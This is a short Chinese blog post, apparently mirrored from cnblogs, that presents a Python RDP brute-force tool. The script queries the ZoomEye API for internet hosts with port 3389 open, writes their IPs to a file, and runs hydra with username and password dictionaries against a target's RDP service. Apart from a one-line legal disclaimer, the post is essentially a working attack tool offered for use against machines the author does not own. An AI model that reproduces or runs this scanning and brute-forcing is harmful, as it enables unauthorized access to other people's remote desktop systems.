zoukankan      html  css  js  c++  java
  • python 3389爆破机

    前言:

     = =上学后的第一个星期假期,写了个3389爆破器

       -

    0x01

    准备:

    hydra

    钟馗之眼API

    0x02代码:

    import optparse
    import os
    import requests
    import time
    def mian():
        print('[!]切记不要做违法的事情。否则后果自负')
        usage='[help -s  扫描全网3389]'
        parser=optparse.OptionParser(usage)
        parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389')
        parser.add_option('-b',dest='bao',help='爆破字典(username)')
        parser.add_option('-p',dest='passs',help='爆破字典(password)')
        parser.add_option('-x',dest='host',help='目标')
        (options,args)=parser.parse_args()
        if options.ji:
            Ji()
        elif options.bao and options.host and options.passs:
            bao=options.bao
            ip=options.host
            passs=options.passs
            Bao(bao,ip,passs)
        else:
            parser.print_help()
            exit()
    def Ji():
        for r in range(1,10):
            time.sleep(1)
            g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r)
            headers={"Authorization":"JWT token"}
            r=requests.get(g,headers=headers)
            sd=r.json()
            rsd=sd['matches'][0:]
            for l in rsd:
                print(l['ip'])
                owe=l['ip']
                with open('3389.txt','a') as p:
                    p.write(owe+'
    ')
    def Bao(bao,ip,passs):
        baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip))
    if __name__ == '__main__':
        mian()
    

      效果图:

  • 相关阅读:
    【转】Skynet之消息队列
    [转]Skynet之斗转星移
    [转]skynet Lua中的协程
    win7 + nginx + php
    LexAndYacc 安装程序
    ubuntu + samba 共享失败
    [转]TDD之Dummy Stub Fake Mock
    【转】 纯技术帖:MMOG网络同步算法揭秘
    [转]帧锁定同步算法
    [转]游戏中的同步
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8503307.html
Copyright © 2011-2022 走看看